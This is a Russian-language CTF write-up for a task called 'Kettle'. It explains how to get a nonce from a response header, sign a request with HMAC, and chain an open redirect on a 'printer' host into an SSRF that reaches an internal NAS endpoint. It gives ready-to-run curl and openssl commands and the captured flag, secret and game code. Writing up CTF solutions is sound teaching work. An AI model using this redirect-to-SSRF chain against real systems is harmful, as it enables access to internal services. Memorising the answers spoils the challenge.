Files
Kubok-Regionov/GAME/kettle/writeup.md
2025-12-22 05:19:38 +03:00

56 lines
2.8 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Разбор решения задачи Kettle
Разбор для участников (с учётом: PROOF уже есть из «принтера», исходники найдены на GitHub).
## Ключевая логика из исходников
- В `files/server.js` видно, что `/diagnostics` отдаёт `X-Device-ID` — это `KETTLE_NONCE`. В UI показываются только последние 4 символа, поэтому полный nonce берём из заголовка ответа.
- `/diagnostics/fetch` принимает JSON с `proof`, `ts`, `mac`, `url` и проверяет:
- `proof` должен совпасть с PRINTER_PROOF (у вас он уже есть из задания с принтером),
- `ts` — свежий (±300 сек),
- `mac` — HMAC-SHA256 по формуле: `key = PROOF:NONCE`, `msg = "URL\nTS"`.
- `url` должен начинаться с разрешённого хоста. В проде в whitelist попадают `printer...` и `nas...`, поэтому можно использовать «принтер» как стартовый хост и через него уйти на `nas/internal/hint`.
- Kettle делает запрос к NAS с нужными заголовками (`X-Shared-Key` и пр.), поэтому прямой доступ извне обычно не работает — нужен именно прокси через kettle.
## Практический путь
1) Узнать nonce из заголовка:
```bash
curl -i https://kettle.caplag-task.ru/diagnostics | rg -i x-device-id
```
2) Собрать URL на «принтер» с редиректом на NAS:
```
https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint
```
3) где PRINTER_PROOF=PROOF который получили на прошлом таске( как понять что нужен пруф принтера, по дефолтной ссылке диагностики)
4) Посчитать подпись и отправить запрос:
```bash
PROOF="printer-proof-3d3130"
NONCE="kettle-nonce-74c1"
URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint"
TS=$(date +%s)
KEY="${PROOF}:${NONCE}"
MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}')
curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \
-H "Content-Type: application/json" \
-d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}"
```
В ответ так же получаем:
заголовки:
X-Kettle-Proof: kettle-proof-90fa
тело:
caplag{chain_electric_kettle_ssrf_g1ve_acce$_to_the_nas}
JWT_SECRET_XOR_HEX=de223a4935e307f1982a486b14958da5d93f3d5337
game_code=ooooooyeeeeah_we_have_got_SuperAdmin_account_to_nas